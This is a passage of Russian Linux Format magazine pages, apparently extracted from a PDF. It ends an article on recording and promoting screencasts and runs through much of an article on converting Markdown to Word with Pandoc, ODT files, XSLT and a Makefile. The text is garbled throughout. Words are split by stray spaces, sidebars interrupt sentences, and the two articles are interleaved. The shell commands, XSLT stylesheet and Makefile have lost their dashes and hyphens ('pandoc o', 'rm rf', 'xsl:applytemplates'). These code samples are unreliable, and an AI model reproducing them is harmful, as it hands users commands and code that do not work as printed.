лит для соз дания скрин ка стов, и мы по су ти уже рас смот ре
ли основ ные ас пек ты ра бо ты с Kazam. К со жа лению, для по лу
чения хо ро ше го скрин ка ста недоста точ но про сто на жать кноп ку 
за пи си – для это го нуж но хо ро шо про ду мать ха рак те ри сти ки 
скрин ка ста.

Ха рак те ри сти ки скрин ка ста оп ре де ля ют ся ва ши ми ре шения ми 
о том, как бу дет соз да вать ся кон тент, и тех но ло ги ей, вы бран ной 
для его соз дания.

Пер вая ха рак те ри сти ка, на ко то рую нуж но об ра тить внима
ние – сю жет скрин ка ста. У ка ж до го скрин ка ста, ко то рый вы соз
да ди те, дол жен быть сю жет – с на ча лом, се ре ди ной и удов
летво ри тель ной кон цов кой. 
Хо ро шень ко по ду май те, что 
сде ла ет ваш сю жет при вле
ка тель ным. На при мер, ес ли 
вы де лае те скрин каст о ра бо те 
с GIMP и про сто про бе жи тесь 
по оп ци ям, ви део по лу чит ся 
до воль но скуч ным. Но ес ли вы начнете скрин каст, по обе щав 
поль зо ва те лям, что соз да ди те нечто кон крет ное (на при мер, по
стер к филь му), вы бу де те рас ска зы вать ис то рию о том, как прий
ти к та ко му ре зуль та ту, и в кон це у вас бу дет при лич ный продукт. 
У са мых луч ших скрин ка стов всегда есть чет ко оп ре де лен ный сю
жет, та кой как этот.

С сю же том тес но свя зан сце на рий. Не ко то рые лю ди так та
лант ли вы и так хо ро шо уме ют об ра щать ся со сло ва ми, что у них 
ес те ст вен но по лу ча ет ся го во рить яс но и чет ко. К со жа лению, 
боль шин ст во из нас за пол ня ет раз го вор мы чанием и пау за ми 

раз ной дли тель но сти. Изза все го это го ро лик вы гля дит немно го 
недо де лан ным. Про стое ре шение – на пи сать сце на рий для сво
его ви део ро ли ка. Это не толь ко снижа ет риск мы чания, но и по
зво ля ет бо лее тща тель но сфор му ли ро вать свои сло ва, опи сания 
и фра зы.

Ес ли вы ся де те и за пи ше те то, что хо ти те ска зать, ва ши сло ва 
бу дут бо лее глу бо ки ми и про ду ман ны ми. Обо рот ной сто ро ной 
про ду ман но сти иногда яв ля ет ся риск то го, что ва ша речь бу дет 
менее ес те ст вен ной. Опять же, здесь ну жен ба ланс.

Со ве тую пи сать сце на рий в тек сто вом про цес со ре, на при
мер, в LibreOffice, и раз би вать его на груп пы из несколь ких строк. 
Тогда ему бу дет про ще сле до вать при соз дании скрин ка ста. Ра
зу ме ет ся, сце на рий не нуж но по ка зы вать в скрин ка сте, по это му 
рас пе ча тай те его и по весь те ря дом с монито ром, или, еще луч
ше, со храните его как PDF и от крой те на дру гом ком пь ю те ре или 
план ше те. Так вы смо же те из бе жать по сто ронних зву ков шур
шания бу ма ги в скрин ка сте, перелис тывая свой сце на рий.

Дру гая ха рак те ри сти ка, о ко то рой я очень со ве тую по ду мать – 
зву ко запись скрин ка ста. У мно гих скрин ка стов пре крас ное ви
део, но звук час то ти хий, пре ры ви стый, с шу мом или уда лен ный. 
Эта про бле ма вы зва на дву мя при чи на ми: ка ким мик ро фо ном 
вы поль зуе тесь и ку да вы его под клю чае те.

Не ко то рые из вас, воз мож но, ду ма ют, что мож но восполь зо
вать ся встро ен ным мик ро фо ном в но ут бу ке, но я бы не со ве то

вал это го де лать. Вопер вых, 
ка че  ст во встро ен но го мик ро
фо на обыч но до воль но низ
кое, и звук ка жет ся очень уда
лен ным, так как мик ро фон 
за хва ты ва ет весь ок ру жаю
щий шум – вен ти ля то ров, сти

раль ной ма ши ны и иг раю щих де тей. Вме сто это го вы бе ри те на
прав лен ный мик ро фон бо лее вы со ко го ка че  ст ва. Это оз на ча ет, 
что он бу дет по лу чать звук от ту да, ку да на прав лен, а мы на пра
вим его на ваш рот.

Да лее, неко то рые, на вер ное, ду ма ют, что смо гут восполь зо
вать ся одним из тех тон ких и длин ных мик ро фо нов, ко то рые, 
ве ро ят но, бес плат но по став ля лись вме сте с ком пь ю те ром. Это 
не ре ко мен ду ет ся по несколь ким при чи нам. Вопер вых, ка че
 ст во та ких мик ро фо нов обыч но то же очень низ кое (хо тя они бо
лее на прав лен ные по сравнению с внут ренними); вовто рых, 
они под клю ча ют ся к мик ро фон но му гнез ду но ут бу ка, а его ка
че  ст во обыч но ужас ное. Сам я под клю чал несколь ко мик ро фо
нов до воль но вы со ко го ка че  ст ва в мик ро фон ное гнез до но ут бу ка 
и поч ти всегда по лу чал ужас ные ре зуль та ты. При чи на в том, что 
ря дом с мик ро фон ным гнез дом обыч но на хо дят ся це пи пи тания 
но ут бу ка, по это му в зву ке по яв ля ет ся мно го фо но во го жуж жания 
и шу ма.

Я за хлоп нул пе ред ва ми столь ко две рей... и те перь вы, на вер
ное, ин те ре суе тесь, что же всета ки остается де лать. Мой со вет – 
ли бо восполь зо вать ся спе ци аль ной внешней зву ко вой кар той 
(обыч но с пи танием от USB или Firewire), ли бо при об ре сти адап тер 
USBXLR, на при мер, Shure X2U; так у вас поя вит ся XLRконнек
тор (ис поль зуе мый в про фес сио наль ной зву ко за пи си) очень 
вы со ко го ка че  ст ва, и вы смо же те под клю чить к нему обыч ный 
мик ро фон вы со ко го ка че  ст ва, на при мер, Sennheiser E835, и по лу
чить от лич ный ре зуль тат.

Оп ти маль ное ре шение, ко то рое я бы по ре ко мен до вал и ко то
рым поль зу юсь до ма – ис поль зо вать для за пи си зву ка от дель
ный ком пь ю тер. При за пи си скрин ка ста я за пи сы ваю на но ут бук 
толь ко ви део, а по то му за пи сы ваю звук на на столь ном ком пь ю
тере че рез XLRконнек тор.

 » Пропустили номер?  Узнайте на с. 108, как получить его прямо сейчас.

Итак, вы изве ли несколь ко ча сов, со вер
шен ст вуя свой скрин каст и улуч шая его 
ха рак те ри сти ки, вы ло жи ли его в Сеть, 
и те перь он го тов для про смот ра. Вы пре
ис полнены законной гор до сти за свою 
ра бо ту, и те перь все, что вам нуж но – это 
про смот ры. Как их до быть?

Вот несколь ко про стых под хо дов для 
про дви жения скрин ка ста:
» Ис поль зуй те Twitter, Facebook и Google+ 
Со ци аль ные се ти по мо га ют со об щить ми ру 
о но вом кон тен те, по это му обя за тель но 
со об щи те о сво ем скрин ка сте в сво их 
ка на лах в со ци аль ных се тях.
» Свя жи тесь с под кас те ра ми Под кас
те ры обыч но жа ж дут услы шать о но вом 

кон тен те, по это му со об щи те им про свой 
скрин каст, и они мо гут упо мя нуть о нем 
в сво их про грам мах.
» Свя жи тесь с со об ще ст ва ми На при мер, 
ес ли вы де лае те скрин каст о GIMP, обя
за тель но от правь те пись мо про ек ту GIMP 
и со об щи те ему о скрин ка сте – они мо гут 
раз мес тить его на сво ем сай те.
» Раз ви вай те свой ка нал При за груз ке 
ви део ро ли ка мож но ука зы вать ссыл ки 
на ви део ро лик и ви део ка нал, на ко то ром 
раз ме ще ны все ва ши ро ли ки. 

Обя за тель но про дви гай те ка нал и пред
ла гай те поль зо ва те лям под пи сы вать ся 
на него – тогда они по смот рят и ва ши бу ду
щие скрин ка сты!

Про дви жение скрин ка ста

«Од но из пре иму ществ 
скрин ка стин га – про-
сто та ути лит.»
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Что бы ви део и звук бы ли син хронизи ро ва ны, я за пускаю за
пись зву ка и ви део и счи таю до де ся ти у мик ро фо на, од но вре
мен но на би рая 1, 2, 3 и т. д. Так вы смо же те со вмес тить зву ко вую 
до рож ку с ви део в ви део ре дак то ре. Про сто най ди те пи ки на зву
ко вой до рож ке в ви део и пи ки на за пи сан ной зву ко вой до рож ке, 
со вмес ти те их и за тем уда ли те зву ко вую до рож ку из ви део. Так 
мы по лу чим звук и ви део вы со ко го ка че  ст ва.

Ре дак ти ро вание
По сле за пи си скрин ка ста его мож но про сто вы ло жить на обо
зрение, но я со ве тую пра виль но его от ре дак ти ро вать. Ре дак ти
ро вание по зво лит до ба вить вве дение, пе ре хо ды и дру гое со дер
жи мое, а так же немно го об ра бо тать ви део и звук, по вы сив об щее 
ка че  ст во скрин ка ста.

В Linux мно го ви део ре дак то ров, но один из луч ших, ко то рым 
поль зу юсь я – OpenShot. Я не бу ду вда вать ся в спе ци фи ку это го 
ви део ре дак то ра, но рас ска жу о неко то рых за да чах, на ко то рые 
вы за хо ти те об ра тить внимание.

Пер вое, что нуж но сде лать – улуч шить ка че  ст во ви део и зву
ка. Для ви део это при менение фильт ров рез ко сти и кон тра ста и, 
воз мож но, из менение цве то во го ба лан са, что бы цве та вы гля де
ли чис ты ми. В неко то рых час тях ви део так же мож но немно го уве
ли чить мас штаб, что бы поль зо ва тель мог луч ше раз гля деть про
ис хо дя щее в скрин ка сте (на при мер, при на строй ке оп ре де лен ной 
час ти ок на).

Что ка са ет ся зву ка, обя за тель но при мените к сво ему го ло су 
ком прес сию. Когда я го во рю о ком прес сии здесь, не пу тай те ее 
со сжа ти ем фай лов, с ко то рым мы обыч но стал ки ва ем ся. Для 
зву ка, ком прес сия – это фильтр, ко то рый де ла ет гром кие час ти 
зву ко вой до рож ки чуть ти ше, а бо лее ти хие – чуть гром че. В ре
зуль та те улуч ша ет ся об щее ка че  ст во, и звук ста но вит ся бо
лее сба лан си ро ван ным. Этот 
фильтр дол жен быть в про
грам ме для об ра бот ки зву ка, 
та кой как Audacity, Jokosher 
или Ardour.

Те перь ата куй те свой ма те
ри ал ножница ми и вы режьте 
все ошиб ки и му сор, что бы ма те ри ал вы гля дел бо лее сжа тым 
и кон крет ным. Но не пе реусерд ст вуй те, ина че ро лик бу дет по хож 
на че ре ду от дель ных фраг мен тов. Об щее пра ви ло здесь та ко во: 
склей ка никогда не долж на быть вид на или слыш на; мон таж дол
жен быть неза мет ным – долж но ка зать ся, что вы ре зан ных фраг
мен тов в ро ли ке никогда и не бы ло.

Та кой мон таж сам по се бе сво его ро да ис кусст во. И луч ший 
спо соб нау чить ся де лать это хо ро шо – смот реть дру гие ро ли ки 
и изу чать, как они смон ти ро ва ны. Это про ще ска зать, чем сде
лать, при этом хо ро ший мон таж всегда ка жет ся поч ти неза мет
ным боль шин ст ву зри те лей. По это му при про смот ре этих ро
ли ков мыс лен но со сре до точь тесь на мон та же и по смот ри те, 
смо же те ли вы пе ре нять тех но ло гии, спо соб ные при го дить ся 
и в ва шей ра бо те.

Еще од на за да ча из об лас ти мон та жа, ко то рую я ре ко мен
дую – до бав лять в ро лик вве дение и за клю чение. На при мер, вме
сто то го, что бы сра зу пе ре хо дить к со дер жанию ро ли ка, соз дай те 
10се кунд ное вве дение с кра си вой гра фи кой и зву ком, ко то рое 
мож но вста вить в на ча ло ва ших скрин ка стов. До бавь те и ко рот
кое за клю чение в конец ро ли ка – в нем уме ст ны спи сок ав то ров 
и бла го дар но сти (на при мер, спи сок ав то ров со дер жания и ма те
риа лов, ис поль зо ван ных в скрин ка сте).

По окон чании ре дак ти ро вания ви део бу дет нуж но экс пор ти ро
вать в фор мат, ко то рым мож но по де лить ся с дру ги ми.

Поль зо ва те ли мо гут про смот реть ва ше ви део, за гру зив и про
иг рав его локаль но или (все ча ще) про смот рев в Ин тернете на та
ком сер ви се как YouTube.

Я бы на стоя тель но со ве то вал вам раз ме щать свои скрин
ка сты на сер ви сах вро де YouTube или Vimeo. Вопер вых, вам 
тогда не при дет ся гдето хранить ви део боль шо го объ е ма, и во
вто рых, не при дет ся бес по ко ить ся о фор ма те ви део и о том, 

что бы он воспро из во дил
ся у всех зри те лей на раз ных 
устрой ст вах. Иногда пре об ра
зо ва ние ви део в фор мат, ко
то рый хо ро шо воспро из во
дил ся бы на всех ком пь ю те рах 
и уст рой ст вах, та ких как те ле

фо ны и план ше ты, мо жет стать на стоя щей го лов ной бо лью. Ес ли 
вы за гру зи те его на YouTube, все эти про бле мы ис чез нут, и вам 
при дет ся ду мать толь ко о тех фор ма тах, ко то рые под дер жи ва ют 
YouTube, Vimeo и т. д.

Со ве тую про ве рить, ка кие фор ма ты под дер жи ва ют ся вы бран
ным ви део хостин гом, и про сто вы брать один из этих фор ма тов.

На конец, уде ли те внимание и за го лов ку, опи санию и тэ гам ва
ше го ви део на этих сай тах. Пра виль ный вы бор язы ка и хо ро шее 
об щее опи сание мо гут зна чи тель но по вы сить шан сы по яв ления 
ва ше го ро ли ка в ре зуль та тах по ис ка. Обя за тель но снаб ди те ро лик 
тэ га ми, как об щи ми, так и спе ци аль ны ми. На при мер, ес ли ваш 
скрин каст рас ска зы ва ет про GIMP, за дай те та кие тэ ги, как “image 
editor [ре дак тор изо бра жений]”, “graphics [гра фи ка]” и “productiv
ity [про из во ди тель ность]”, что бы ва ше ви део по па ло в ре зуль та ты 
по ис ка и по этим тэ гам.

За круг ля ем ся
В этой ста тье мы бег ло про шлись по раз лич ным ре ко мен да ци
ям, ко то рые сто ит принимать во внимание при соз дании хо ро
ше го скрин ка ста. Хо тя тех но ло гия от но си тель но про ста, глав ное 
здесь – хо ро шо про ду мать ха рак те ри сти ки скрин ка ста, у ко то ро
го бу дет хо ро ший сю жет.

В на шем неза до ку мен ти ро ван ном ми ре с та ки ми неис ся кае мы
ми воз мож но стя ми по мочь лю дям по нять и ис поль зо вать тех но
ло гии, скрин ка сты – пре крас ный спо соб по мочь этим лю дям на
чать. На де юсь, эта ста тья немно го вдох но ви ла и вас. Обя за тель но 
со об щи те о сво их скрин ка стах нам в Linux Format. Уда чи! |

> На YouTube мно го 
скрин ка стов, го то-
вых спо соб ст во-
вать вдох но ве нию 
в ва шей ра бо те�

«Главное – хорошо 
продумать характери-
стики скринкаста.»
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аль ном шаб лоне Word. Конеч но, я уп ря мо про дол жаю пи сать свои 
тек сты в Vim, а по том соз даю но вый до ку мент в LibreOffice Writer 
и на чи наю при ме нять шаб лон фор ма ти ро вания, ко то рым я дол
жен поль зо вать ся.

Я так по сту паю мно го лет, но из вел слиш ком мно го вре мени 
на руч ное фор ма ти ро вание, и несколь ко ме ся цев на зад, на конец, 
ре шил ав то ма ти зи ро вать про цесс. Я по ду мал, что это не долж но 
быть слиш ком слож но, по то му что в жур на лах ме ня про сят поль
зо вать ся спе ци аль ным шаб ло ном, а у него есть струк ту ра. Мне 
про сто нуж но соз дать некую струк ту ру в ис ход ном тек сто вом 
фай ле и при ду мать спо соб пре об ра зо вать эту ис ход ную струк ту
ру в же лае мую.

Markdown: струк ту ри ро ван ный текст
По это му наш пер вый шаг – струк ту ри ро вать ис ход ный тек сто
вый файл. Все эти го ды я поль зо вал ся неки ми обо зна чения ми 
для за го лов ков, под за го лов ков и т. д.; но, немно го по ко пав, об на
ру жил, что неко то рые фор ма ты струк ту ри ро ван но го тек ста уже 
су ще ст ву ют. По пу ляр ный при мер – Markdown (http://daringfireball.
net/projects/markdown/).

На при мер, мож но струк ту ри ро вать текст так:
# За го ло вок
## Подза го ло вок
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean 
commodo ligula eget dolor. Aenean massa. Cum sociis natoque 
penatibus et magnis dis parturient montes, nascetur ridiculus mus.
Donec quam felis, ultricies nec, pellentesque eu, pretium quis, 
sem. Nulla consequat massa quis enim. Donec pede justo, fringilla 
vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, К

ак пи са тель, пред по чи таю щий тер ми нал и обыч ные тек
сто вые фай лы, я всегда недо люб ли вал гра фи че  ские 
тек сто вые про цес со ры, вклю чая OpenOffice.org/LibreOf-

fice Writer и AbiWord. Не то что они пло
хи – они про сто не впи сы ва ют ся в мой 
ра бо чий про цесс. Я мно го ра бо таю в тер
ми на ле и пред по чи таю тек сто вый ре дак
тор Vim и поч то вый кли ент Mutt. Когда 
я пи шу пись ма в Mutt, то мо гу да же ре дак
ти ро вать их в Vim. Этот под ход ка жет ся 
мне вполне ес те ст вен ным: Vim пред на зна
чен для ре дак ти ро вания тек ста, и лю бая 
про грам ма, в про цес се ра бо ты в ко то рой 
мож но ре дак ти ро вать текст (на при мер, 
поч то вый кли ент), долж на пе ре да вать эту 
за да чу Vim (или дру го му ре дак то ру). Вот 
я и пи шу в Vim пись ма и ста тьи, а так же ис
ход ный код – на при мер, скрип ты обо лоч
ки, скрип ты Ruby и про грам мы на Java.

К со жа лению, изза Vim я в мень
шин ст ве по от но шению ко всем поль зо ва
те лям, да и тек сто вые фай лы без раз мет ки 
се го дня не в мо де. Так что неко то рые жур
на лы из тех, в ко то рые я пи шу, про сят ме ня 
при сы лать ста тьи в фай лах Word, в спе ци

Ко эн Верв лое сем не лю бит во зить ся со шриф та ми и цве том, ко гда пи шет тек сты, 
и кон вер ти ру ет свои тек сто вые фай лы в Word в ко манд ной стро ке.

Markdown: Смерть 

Наш 
эксперт

Ко эн Верв лое сем 
пи шет об от кры
том ПО с 2000 го
да, и с тех пор 
не за кры вал свой 
Vim. По вто ри те, 
по жа луй ста: ка
кой ко ман дой его 
за крыть?

> Нач ни те с это го тек сто во го фай ла с ми ни маль ной раз мет кой���
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imperdiet a, venenatis vitae, justo.
### За го ло вок третье го уров ня
* эле мент мар ки ро ван но го спи ска
* эле мент с _вы де ле ни ем_;
* эле мент с **силь ным вы де ле ни ем**;
* ссыл ка на [Linux Format](http://www.linuxformat.com/).

Син так сис го во рит сам за се бя – при вык нуть к нему мож но бы
ст ро. И этим фор ма том мож но поль зо вать ся в сво ем лю би мом 
ре дак то ре, а при пе ре хо де к дру го му син так си су ме нять ре дак тор 
не при дет ся. У фай лов Markdown нет об ще при ня то го рас ши рения, 
но мно гие ис поль зу ют .md или .markdown. 

Итак, спо соб струк ту ри ро вания тек стов у нас есть, и ну жен 
спо соб пре об ра зо вы вать их в до ку мен ты Word. По пу ляр ная 
ути ли та для этой це ли – Pandoc (http://johnmacfarlane.net/pan
doc), опи сы вае мая как «универ саль ный кон вер тор до ку мен
тов». Она под дер жи ва ет несколь ко вход ных фор ма тов, в том 
чис ле Markdown, и мно же ст во вы ход ных фор ма тов, в том чис
ле DOCX для Microsoft Word и ODT (Open Document Text – текст 
от кры то го до ку мен та) для OpenOffice.org/LibreOffice. Так как 
с фай ла ми ODT го раз до про ще ра бо тать, их мы и при мем за вы
ход ной фор мат. Тогда мы смо жем из менить фор мат поз же, 
а вы уз нае те коечто по лез ное об Open Document Format (фор
мат от кры то го до ку мен та), спо соб ное нам при го дить ся. Pandoc 
есть в ре по зи то ри ях мно гих 
ди ст ри бу ти вов Linux, вклю
чая Debian, Ubuntu, Slackware, 
Arch, Fedora, NixOS и Gentoo, 
по это му уста но вить ее очень 
лег ко. Прав да, уч ти те, что 
Pandoc на пи са на на Haskell, 
и при дет ся уста на вливать всю ра бо чую сре ду Haskell, а это до
воль нотаки дол го.

Ес ли нуж но из менить ре зуль тат пре об ра зо вания Pandoc, это 
де ла ет ся скрип та ми Haskell. Не знание Haskell бы ло еще од ной 
при чи ной вы бо ра ODT: так как ODT по су ти пред став ля ет со бой 
упа ко ван ный в ZIPар хив XMLфайл, я смо гу ра бо тать с ним с по
мо щью XSLT.

Ес ли вас уст раи ва ет раз мет ка по умол чанию, мо же те лег ко пре
вра тить файл Markdown в ODT:
$ pandoc o document.odt document.md

Взгляните на ре зуль тат в LibreOffice. Ес ли вы хо ти те пре вра тить 
его в файл Word, мо же те восполь зо вать ся ути ли та ми Unoconv 
(http://dag.wieers.com/homemade/unoconv), и это будет сде ла но 
с по мо щью OpenOffice.org/LibreOffice:
$ unoconv f doc document.odt

Ре зуль ти рую щий файл document�doc – вер сия ва ше го тек ста 
для Word. Уч ти те, что пе ред кон вер та ци ей фай ла с unoconv нуж но 
за крыть OpenOffice.org или LibreOffice, что не всегда удоб но.

Ана то мия фай ла ODT
Ес ли вам не по душе раз мет ка Pandoc по умол чанию, из мените 
ее – и здесь нам при дет ся немно го глуб же вник нуть в ана то мию 

фай ла ODT. Од на из при чин, 
по ко то рым я пред по чи таю 
ODT в ка че  ст ве про ме жу точ
но го фор ма та в этом пре об ра
зо вании – в том, что его струк
ту ру лег ко по нять, и ею лег ко 
управ лять. Ка ж дый файл ODT 

по су ти пред став ля ет со бой ZIPар хив. Смот ри те са ми:
$ unzip l document.odt
Archive: document.odt
Length Date Time Name
     
770 01142013  14:34  METAINF/manifest.xml
6860  01142013  14:34  content.xml
0  07182011  08:17  METAINF/
0  07182011  08:01  Thumbnails/
742  03112011  06:28  Thumbnails/thumbnail.png
342  07182011  08:15  meta.xml
39  03112011  06:28  mimetype
306  07182011  08:15  settings.xml
53538  07182011  08:15  styles.xml
  
62597  9 files

Нам здесь важнее все го фай лы content�xml и styles�xml. В од
ном хранит ся со дер жи мое до ку мен та в фор ма те XML, а в дру гом – 

 » Не хотите пропустить номер?  Подпишитесь на www.linuxformat.ru/subscribe/!

сло вам

> ���и Pandoc пре-
вра тит его в файл 
ODT с пра виль ной 
раз мет кой�

Ес ли рас па ко вать 
файл ODT для про
смот ра его со дер
жи мо го, то все 
фай лы бу дут в те
ку щем ка та ло
ге. На вер ное, это 
не слиш ком удоб
но, так как за со
ря ет ка та лог. Вме
сто это го соз дай те 
под ка та лог и ука
жи те па ра метр -d 
subdirectory ко
ман ды unzip, что бы 
фай лы рас па ко ва
лись в этот от дель
ный ка та лог.

Скорая 
помощь

«Ес ли вам не по душе 
раз мет ка по умол ча-
нию, измените ее.»
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струк ту ра до ку мен та в том же фор ма те. Что бы по зна ко мить ся 
с фор ма том ODT, рас па куй те файл и про смот ри те эти XMLфай
лы в сво ем лю би мом тек сто вом ре дак то ре. styles�xml, на вер ное, 
по хож на ки тай скую гра мо ту, зато син так сис content�xml очень 
прост: на при мер, эле мен ты <text:p> ис поль зу ют ся для аб за цев, 
а <text:h> – для за го лов ков. Сравните ис ход ный текст Markdown 
с со дер жи мым content�xml фай ла ODT, что бы по нять, ка кие пре об
ра зо вания бы ли вы полнены Pandoc.

Мож но из менить фай лы content�xml и styles�xml, пе ре упа ко вать 
фай лы в ар хив, и вы уви ди те эти из менения в ре зуль ти рую щем 
фай ле. Конеч но, это до воль но труд ный и под вер жен ный ошиб кам 
спо соб ре дак ти ро вания фай лов ODT (но от лич ный спо соб на брать 
бал лов умника!). Глав ный же наш ин те рес – в ав то ма ти за ции дан
но го ме ханиз ма.

На при мер, пусть вам не нра вит ся раз мет ка ODT по умол чанию, 
генери руе мая Pandoc. Во мно гих слу ча ях про бле ма ре ша ет ся до
воль но про сто. Вы бе ри те файл ODT с нуж ной раз мет кой, рас па
куй те его и ско пи руй те его файл styles�xml. За тем рас па куй те 
файл ODT, соз дан ный Pandoc, и за мените его styles�xml на ско
пи ро ван ный styles�xml. Пе ре упа куй те файл ODT и от крой те его 
в LibreOffice. Тадам! Те перь в ва шем фай ле ODT дру гая раз мет ка.

Транс фор ме ры
Конеч но, это не всегда так про сто. На при мер, ес ли текст нуж но 
пре достав лять в фор ма те Word с име на ми сти лей, от ли чаю щих ся 
от имен сти лей по умол чанию, при дет ся кон вер ти ро вать все име
на сти лей по умол чанию (на при мер, «За го ло вок 1», «За го ло вок 
2», «Текст» и т. д.) в content�xml в име на сти лей шаб ло на, ко то ро
му вы долж ны сле до вать. В прин ци пе, для это го мож но бы ло бы 
из менить код пре об ра зо вания в Pandoc, но я не вла дею Haskell 
и восполь зо вал ся дру гим ре шением: об ра бо тал content�xml с XSLT 

(extensible stylesheet language transformations – пре об ра зо вания 
рас ши ряе мо го язы ка сти лей).

В XSLT мож но восполь зо вать ся таб ли цей сти лей XSLT, ко то рая 
оп ре де ля ет, как я со би ра юсь пре об ра зо вать вход ной файл в фор
ма те XML в вы ход ной файл в фор ма те XML. Но я не хо чу пол но
стью ме нять content�xml, а хо чу толь ко из менить име на неко то рых 
сти лей. По это му нач ну с так на зы вае мо го то ж де ст вен но го пре об
ра зо вания [identity transform]:
<?xml version=”1.0” ?>
<xsl:stylesheet version=”1.0”
   xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”
   xmlns:text=”urn:oasis:names:tc:opendocument:xmlns:text:1.0”>
   <! IdentityTransform >
   <xsl:template match=”/ | @* | node()”>
      <xsl:copy>
         <xsl:applytemplates select=”@* | node()” />
      </xsl:copy>
   </xsl:template>

При то ж де ст вен ном пре об ра зо вании все уз лы XML с их ат ри бу
та ми про сто ко пи ру ют ся, и ниче го не ме ня ет ся. Ес ли же нуж но из
менить име на неко то рых сти лей, до ба вим дру гой шаб лон:
   <xsl:template match=”@text:stylename”>
      <xsl:attribute name=”text:stylename”>
         <xsl:choose>
            <xsl:when test=”.=’Heading_20_1’”>Article_20_title</
xsl:when>
            <xsl:when test=”.=’Heading_20_2’”>Article_20_subtitle</
xsl:when>
            <xsl:when test=”.=’Text_20_body’”>Article_20_text</
xsl:when>
            <xsl:otherwise><xsl:valueof select=”.”/></xsl:otherwise>

         </xsl:choose>
      </xsl:attribute>
   </xsl:template>
</xsl:stylesheet>

С до бав лением это го шаб ло на таб ли ца 
сти лей ко пи ру ет все уз лы XML с их атри
бу та ми, но когда ей по па да ет ся ат ри
бут с именем text:style-name, зна чение 
ат ри бу та ме ня ет ся, ес ли оно рав но од но
му из пе ре чис лен ных вы ше. _20_ в име нах 
сти лей оз на ча ет про бел (20 – его ше ст на
дца те рич ный код ASCII), по то му что, со
глас но фор ма ту фай ла ODT, во внут ренних 
име нах сти лей не мо жет быть про бе лов.

Что бы при менить таб ли цу сти лей к на
ше му content�xml, нам по на до бит ся про
цес сор XSLT, на при мер, па кет xsltproc. 
Восполь зо вать ся им про сто:
$ xsltproc o newcontent.xml stylesheet.xsl 
content.xml

 » Пропустили номер?  Узнайте на с. 108, как получить его прямо сейчас.

Markdown – не един ст вен ный син так сис струк ту
ри ро вания тек ста. В за ви си мо сти от ва ших по треб
но стей вас мо гут за ин те ре со вать дру гие язы ки. 
На при мер, MultiMarkdown (http://fletcherpenney.
net/multimarkdown) – это в Markdown до бав ле но 
несколь ко про дви ну тых воз мож но стей, вклю

чая ссыл ки, таб ли цы, ци та ты и биб лио гра фию. 
Для техниче  ской до ку мен та ции по дой дет reStruc
turedText (http://docutils.sourceforge.net/rst.html). 
Он ис поль зу ет ся в Pythonпро ек те Docutils для 
до ку мен ти ро вания про грамм на Python. Дру гие 
по пу ляр ные язы ки струк ту ри ро вания тек ста – Tex

tile (http://textile.sitemonks.com) и AsciiDoc (www.
methods.co.nz/asciidoc). Мно гие из этих язы ков 
яв ля ют ся ча стью ути лит для пре об ра зо вания тек
стов в дру гие фор ма ты, та кие как HTML, Word, 
OpenDocument Text, DocBook, LaTeX или manстра
ницы Unix.

Дру гие язы ки струк ту ри ро вания тек ста

> Кру тые ха ке ры 
пи шут до ку мен ты 
пря мо на XML�

С по мо щью Pandoc 
так же мож но соз
да вать элек трон
ные кни ги. Про сто 
за дай те рас ши ре
ние �epub для вы
ход но го фай ла 
в ко ман де pandoc. 
Что бы ука зать 
CSSфайл кни ги, 
вос поль зуй тесь па
ра мет ром --epub-
stylesheet, а что бы 
ука зать файл об
лож ки – па ра метр 
--epub-coverimage.

Скорая 
помощь
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Здесь код XSLT из фай ла stylesheet�xsl при ме ня ет ся к фай
лу content�xml, а ре зуль тат пре об ра зо вания со хра ня ет ся в файл 
newcontent�xml.

Так мож но из менить в до ку мен те мно гое. На при мер, один 
из жур на лов, в ко то рые я пи шу, про сит ме ня пе ре сы лать свои 
тек сто вые до ку мен ты в осо бом шаб лоне Word, когда на ча ло тек
ста (пер вый аб зац по сле за го лов ка и под за го лов ка) оформ ле но 
в спе ци аль ном сти ле «лид [lead, ввод ка]». А в Markdown нет та ко
го сти ля. Как же ав то ма ти че  ски из менить стиль пер во го аб за ца? 
Бла го да ря XSLT это про сто. Я про сто до ба вил сле дую щий шаб лон 
XSLT:
   <xsl:template match=”text:p[1]”>
      <xsl:copy>
         <xsl:attribute name=”text:stylename”>Lead</xsl:attribute>
         <xsl:applytemplates select=”node()” />
      </xsl:copy>
   </xsl:template>

Когда моя таб ли ца сти лей 
XSLT встре ча ет пер вый аб зац 
в content�xml (так как он со от
вет ст ву ет XPathвы ра жению 
“text:p[1]”), она ко пи ру ет весь 
аб зац, пе ред этим за менив имя 
сти ля на Lead. А так как в мо
ем styles�xml стиль Lead за дан кор рект но, ре зуль ти рую щий файл 
ODT вы гля дит имен но так, как дол жен, при этом его ввод ка име
ет соб ст вен ный стиль.

Ав то ма ти зи ру ем все
Мы при бли жа ем ся к за вер шению этой ста тьи и уже по лу чи ли до
воль но слож ную по сле до ва тель ность ша гов для пре об ра зо вания 
фай ла Markdown в файл Word с за дан ной раз мет кой. Конеч но, 
вы пол нять эти ша ги вруч ную неин те рес но и мо жет при вес ти 
к ошиб кам, по это му их сто ит ав то ма ти зи ро вать.

Для это го я восполь зо вал ся под хо дом Makefile в раз ра бот
ке про грамм. Makefile ис поль зу ет ся для ком пи ля ции ис ход ных 
фай лов и фор ми ро вания из них ис пол няе мой про грам мы в про
ек тах с от кры тым ис ход ным ко дом, но тот же ме ханизм мож
но ис поль зо вать для соз дания фай ла Word из фай ла Markdown. 

Ре зуль ти рую щий файл Makefile вы гля дит 
так (внимание: от сту пы сле ду ет вы пол
нять та бу ля ци ей, а не про бе ла ми):
XSL = ../../article.xsl
STYLESHEET = ../../styles.xml
TEMP_DIR = output
SOURCE_DOCS = $(wildcard *.md)
INTERMEDIATE_DOCS = $(patsubst%.md, 
%.odt,$(SOURCE_DOCS))
OUTPUT_DOCS = $(patsubst %.md,%.doc, 
$(SOURCE_DOCS))
test: $(INTERMEDIATE_DOCS)
all: $(OUTPUT_DOCS)
%.odt: %.md
   pandoc o $@ $<;\
   rm rf $(TEMP_DIR);\
   mkdir $(TEMP_DIR);\
   unzip $@ d $(TEMP_DIR);\
   xsltproc o $(TEMP_DIR)/content.xml 
$(XSL) $(TEMP_DIR)/content.xml;\
   cp $(STYLESHEET) $(TEMP_DIR)/styles.
xml;\
   cd $(TEMP_DIR);\
   zip r $@ .;\
   mv $@ ..;
%.doc: %.odt

   unoconv f doc $<
Ес ли вы чи та ли эту ста тью внима тель но, то долж ны по нять 

